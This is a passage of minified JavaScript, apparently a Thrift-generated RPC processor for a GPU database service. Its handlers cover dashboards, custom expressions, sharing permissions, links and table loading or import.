x3({success:_});h.writeMessageBegin("get_result_row_for_pixel",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new x3(_),h.writeMessageBegin("get_result_row_for_pixel",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_result_row_for_pixel",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_result_row_for_pixel(T.session,T.widget_id,T.pixel,T.table_col_names,T.column_format,T.pixelRadius,T.nonce,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new x3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_result_row_for_pixel",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_result_row_for_pixel",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_create_custom_expression(w,g,h){const T=new xx;T.read(g),g.readMessageEnd(),this._handler.create_custom_expression.length===2?Promise.resolve(this._handler.create_custom_expression.bind(this._handler)(T.session,T.custom_expression)).then(_=>{const v=new k3({success:_});h.writeMessageBegin("create_custom_expression",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new k3(_),h.writeMessageBegin("create_custom_expression",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("create_custom_expression",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.create_custom_expression(T.session,T.custom_expression,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new k3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("create_custom_expression",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("create_custom_expression",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_custom_expressions(w,g,h){const T=new kx;T.read(g),g.readMessageEnd(),this._handler.get_custom_expressions.length===1?Promise.resolve(this._handler.get_custom_expressions.bind(this._handler)(T.session)).then(_=>{const v=new B3({success:_});h.writeMessageBegin("get_custom_expressions",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new B3(_),h.writeMessageBegin("get_custom_expressions",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_custom_expressions",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_custom_expressions(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new B3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_custom_expressions",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_custom_expressions",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_update_custom_expression(w,g,h){const T=new Bx;T.read(g),g.readMessageEnd(),this._handler.update_custom_expression.length===3?Promise.resolve(this._handler.update_custom_expression.bind(this._handler)(T.session,T.id,T.expression_json)).then(_=>{const v=new F3({success:_});h.writeMessageBegin("update_custom_expression",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new F3(_),h.writeMessageBegin("update_custom_expression",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("update_custom_expression",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.update_custom_expression(T.session,T.id,T.expression_json,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new F3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("update_custom_expression",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("update_custom_expression",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_delete_custom_expressions(w,g,h){const T=new Fx;T.read(g),g.readMessageEnd(),this._handler.delete_custom_expressions.length===3?Promise.resolve(this._handler.delete_custom_expressions.bind(this._handler)(T.session,T.custom_expression_ids,T.do_soft_delete)).then(_=>{const v=new I3({success:_});h.writeMessageBegin("delete_custom_expressions",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new I3(_),h.writeMessageBegin("delete_custom_expressions",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("delete_custom_expressions",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.delete_custom_expressions(T.session,T.custom_expression_ids,T.do_soft_delete,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new I3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("delete_custom_expressions",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("delete_custom_expressions",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_dashboard(w,g,h){const T=new Ix;T.read(g),g.readMessageEnd(),this._handler.get_dashboard.length===2?Promise.resolve(this._handler.get_dashboard.bind(this._handler)(T.session,T.dashboard_id)).then(_=>{const v=new O3({success:_});h.writeMessageBegin("get_dashboard",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new O3(_),h.writeMessageBegin("get_dashboard",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_dashboard",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_dashboard(T.session,T.dashboard_id,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new O3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_dashboard",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_dashboard",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_dashboards(w,g,h){const T=new Ox;T.read(g),g.readMessageEnd(),this._handler.get_dashboards.length===1?Promise.resolve(this._handler.get_dashboards.bind(this._handler)(T.session)).then(_=>{const v=new M3({success:_});h.writeMessageBegin("get_dashboards",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new M3(_),h.writeMessageBegin("get_dashboards",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_dashboards",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_dashboards(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new M3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_dashboards",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_dashboards",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_create_dashboard(w,g,h){const T=new Mx;T.read(g),g.readMessageEnd(),this._handler.create_dashboard.length===5?Promise.resolve(this._handler.create_dashboard.bind(this._handler)(T.session,T.dashboard_name,T.dashboard_state,T.image_hash,T.dashboard_metadata)).then(_=>{const v=new A3({success:_});h.writeMessageBegin("create_dashboard",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new A3(_),h.writeMessageBegin("create_dashboard",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("create_dashboard",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.create_dashboard(T.session,T.dashboard_name,T.dashboard_state,T.image_hash,T.dashboard_metadata,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new A3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("create_dashboard",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("create_dashboard",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_replace_dashboard(w,g,h){const T=new Ax;T.read(g),g.readMessageEnd(),this._handler.replace_dashboard.length===7?Promise.resolve(this._handler.replace_dashboard.bind(this._handler)(T.session,T.dashboard_id,T.dashboard_name,T.dashboard_owner,T.dashboard_state,T.image_hash,T.dashboard_metadata)).then(_=>{const v=new N3({success:_});h.writeMessageBegin("replace_dashboard",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new N3(_),h.writeMessageBegin("replace_dashboard",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("replace_dashboard",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.replace_dashboard(T.session,T.dashboard_id,T.dashboard_name,T.dashboard_owner,T.dashboard_state,T.image_hash,T.dashboard_metadata,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new N3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("replace_dashboard",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("replace_dashboard",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_delete_dashboard(w,g,h){const T=new Nx;T.read(g),g.readMessageEnd(),this._handler.delete_dashboard.length===2?Promise.resolve(this._handler.delete_dashboard.bind(this._handler)(T.session,T.dashboard_id)).then(_=>{const v=new C3({success:_});h.writeMessageBegin("delete_dashboard",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new C3(_),h.writeMessageBegin("delete_dashboard",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("delete_dashboard",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.delete_dashboard(T.session,T.dashboard_id,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new C3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("delete_dashboard",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("delete_dashboard",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_share_dashboards(w,g,h){const T=new Cx;T.read(g),g.readMessageEnd(),this._handler.share_dashboards.length===4?Promise.resolve(this._handler.share_dashboards.bind(this._handler)(T.session,T.dashboard_ids,T.groups,T.permissions)).then(_=>{const v=new R3({success:_});h.writeMessageBegin("share_dashboards",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new R3(_),h.writeMessageBegin("share_dashboards",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("share_dashboards",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.share_dashboards(T.session,T.dashboard_ids,T.groups,T.permissions,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new R3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("share_dashboards",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("share_dashboards",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_delete_dashboards(w,g,h){const T=new Rx;T.read(g),g.readMessageEnd(),this._handler.delete_dashboards.length===2?Promise.resolve(this._handler.delete_dashboards.bind(this._handler)(T.session,T.dashboard_ids)).then(_=>{const v=new P3({success:_});h.writeMessageBegin("delete_dashboards",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new P3(_),h.writeMessageBegin("delete_dashboards",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("delete_dashboards",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.delete_dashboards(T.session,T.dashboard_ids,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new P3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("delete_dashboards",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("delete_dashboards",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_share_dashboard(w,g,h){const T=new Px;T.read(g),g.readMessageEnd(),this._handler.share_dashboard.length===6?Promise.resolve(this._handler.share_dashboard.bind(this._handler)(T.session,T.dashboard_id,T.groups,T.objects,T.permissions,T.grant_role)).then(_=>{const v=new D3({success:_});h.writeMessageBegin("share_dashboard",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new D3(_),h.writeMessageBegin("share_dashboard",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("share_dashboard",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.share_dashboard(T.session,T.dashboard_id,T.groups,T.objects,T.permissions,T.grant_role,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new D3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("share_dashboard",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("share_dashboard",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_unshare_dashboard(w,g,h){const T=new Dx;T.read(g),g.readMessageEnd(),this._handler.unshare_dashboard.length===5?Promise.resolve(this._handler.unshare_dashboard.bind(this._handler)(T.session,T.dashboard_id,T.groups,T.objects,T.permissions)).then(_=>{const v=new j3({success:_});h.writeMessageBegin("unshare_dashboard",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new j3(_),h.writeMessageBegin("unshare_dashboard",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("unshare_dashboard",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.unshare_dashboard(T.session,T.dashboard_id,T.groups,T.objects,T.permissions,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new j3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("unshare_dashboard",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("unshare_dashboard",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_unshare_dashboards(w,g,h){const T=new jx;T.read(g),g.readMessageEnd(),this._handler.unshare_dashboards.length===4?Promise.resolve(this._handler.unshare_dashboards.bind(this._handler)(T.session,T.dashboard_ids,T.groups,T.permissions)).then(_=>{const v=new U3({success:_});h.writeMessageBegin("unshare_dashboards",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new U3(_),h.writeMessageBegin("unshare_dashboards",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("unshare_dashboards",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.unshare_dashboards(T.session,T.dashboard_ids,T.groups,T.permissions,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new U3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("unshare_dashboards",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("unshare_dashboards",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_dashboard_grantees(w,g,h){const T=new Ux;T.read(g),g.readMessageEnd(),this._handler.get_dashboard_grantees.length===2?Promise.resolve(this._handler.get_dashboard_grantees.bind(this._handler)(T.session,T.dashboard_id)).then(_=>{const v=new H3({success:_});h.writeMessageBegin("get_dashboard_grantees",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new H3(_),h.writeMessageBegin("get_dashboard_grantees",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_dashboard_grantees",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_dashboard_grantees(T.session,T.dashboard_id,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new H3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_dashboard_grantees",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_dashboard_grantees",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_link_view(w,g,h){const T=new Hx;T.read(g),g.readMessageEnd(),this._handler.get_link_view.length===2?Promise.resolve(this._handler.get_link_view.bind(this._handler)(T.session,T.link)).then(_=>{const v=new z3({success:_});h.writeMessageBegin("get_link_view",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new z3(_),h.writeMessageBegin("get_link_view",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_link_view",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_link_view(T.session,T.link,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new z3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_link_view",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_link_view",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_create_link(w,g,h){const T=new zx;T.read(g),g.readMessageEnd(),this._handler.create_link.length===3?Promise.resolve(this._handler.create_link.bind(this._handler)(T.session,T.view_state,T.view_metadata)).then(_=>{const v=new $3({success:_});h.writeMessageBegin("create_link",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new $3(_),h.writeMessageBegin("create_link",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("create_link",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.create_link(T.session,T.view_state,T.view_metadata,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new $3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("create_link",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("create_link",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_load_table_binary(w,g,h){const T=new $x;T.read(g),g.readMessageEnd(),this._handler.load_table_binary.length===4?Promise.resolve(this._handler.load_table_binary.bind(this._handler)(T.session,T.table_name,T.rows,T.column_names)).then(_=>{const v=new q3({success:_});h.writeMessageBegin("load_table_binary",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new q3(_),h.writeMessageBegin("load_table_binary",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("load_table_binary",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.load_table_binary(T.session,T.table_name,T.rows,T.column_names,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new q3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("load_table_binary",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("load_table_binary",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_load_table_binary_columnar(w,g,h){const T=new qx;T.read(g),g.readMessageEnd(),this._handler.load_table_binary_columnar.length===4?Promise.resolve(this._handler.load_table_binary_columnar.bind(this._handler)(T.session,T.table_name,T.cols,T.column_names)).then(_=>{const v=new V3({success:_});h.writeMessageBegin("load_table_binary_columnar",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new V3(_),h.writeMessageBegin("load_table_binary_columnar",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("load_table_binary_columnar",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.load_table_binary_columnar(T.session,T.table_name,T.cols,T.column_names,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new V3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("load_table_binary_columnar",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("load_table_binary_columnar",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_load_table_binary_columnar_polys(w,g,h){const T=new Vx;T.read(g),g.readMessageEnd(),this._handler.load_table_binary_columnar_polys.length===5?Promise.resolve(this._handler.load_table_binary_columnar_polys.bind(this._handler)(T.session,T.table_name,T.cols,T.column_names,T.assign_render_groups)).then(_=>{const v=new G3({success:_});h.writeMessageBegin("load_table_binary_columnar_polys",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new G3(_),h.writeMessageBegin("load_table_binary_columnar_polys",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("load_table_binary_columnar_polys",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.load_table_binary_columnar_polys(T.session,T.table_name,T.cols,T.column_names,T.assign_render_groups,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new G3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("load_table_binary_columnar_polys",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("load_table_binary_columnar_polys",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_load_table_binary_arrow(w,g,h){const T=new Gx;T.read(g),g.readMessageEnd(),this._handler.load_table_binary_arrow.length===4?Promise.resolve(this._handler.load_table_binary_arrow.bind(this._handler)(T.session,T.table_name,T.arrow_stream,T.use_column_names)).then(_=>{const v=new W3({success:_});h.writeMessageBegin("load_table_binary_arrow",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new W3(_),h.writeMessageBegin("load_table_binary_arrow",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("load_table_binary_arrow",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.load_table_binary_arrow(T.session,T.table_name,T.arrow_stream,T.use_column_names,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new W3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("load_table_binary_arrow",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("load_table_binary_arrow",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_load_table(w,g,h){const T=new Wx;T.read(g),g.readMessageEnd(),this._handler.load_table.length===4?Promise.resolve(this._handler.load_table.bind(this._handler)(T.session,T.table_name,T.rows,T.column_names)).then(_=>{const v=new Y3({success:_});h.writeMessageBegin("load_table",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new Y3(_),h.writeMessageBegin("load_table",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("load_table",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.load_table(T.session,T.table_name,T.rows,T.column_names,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new Y3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("load_table",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("load_table",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_detect_column_types(w,g,h){const T=new Yx;T.read(g),g.readMessageEnd(),this._handler.detect_column_types.length===3?Promise.resolve(this._handler.detect_column_types.bind(this._handler)(T.session,T.file_name,T.copy_params)).then(_=>{const v=new X3({success:_});h.writeMessageBegin("detect_column_types",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new X3(_),h.writeMessageBegin("detect_column_types",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("detect_column_types",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.detect_column_types(T.session,T.file_name,T.copy_params,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new X3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("detect_column_types",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("detect_column_types",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_create_table(w,g,h){const T=new Xx;T.read(g),g.readMessageEnd(),this._handler.create_table.length===4?Promise.resolve(this._handler.create_table.bind(this._handler)(T.session,T.table_name,T.row_desc,T.create_params)).then(_=>{const v=new K3({success:_});h.writeMessageBegin("create_table",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new K3(_),h.writeMessageBegin("create_table",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("create_table",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.create_table(T.session,T.table_name,T.row_desc,T.create_params,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new K3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("create_table",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("create_table",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_import_table(w,g,h){const T=new Kx;T.read(g),g.readMessageEnd(),this._handler.import_table.length===4?Promise.resolve(this._handler.import_table.bind(this._handler)(T.session,T.table_name,T.file_name,T.copy_params)).then(_=>{const v=new Z3({success:_});h.writeMessageBegin("import_table",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new Z3(_),h.writeMessageBegin("import_table",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("import_table",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.import_table(T.session,T.table_name,T.file_name,T.copy_params,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new Z3(_!==null||typeof 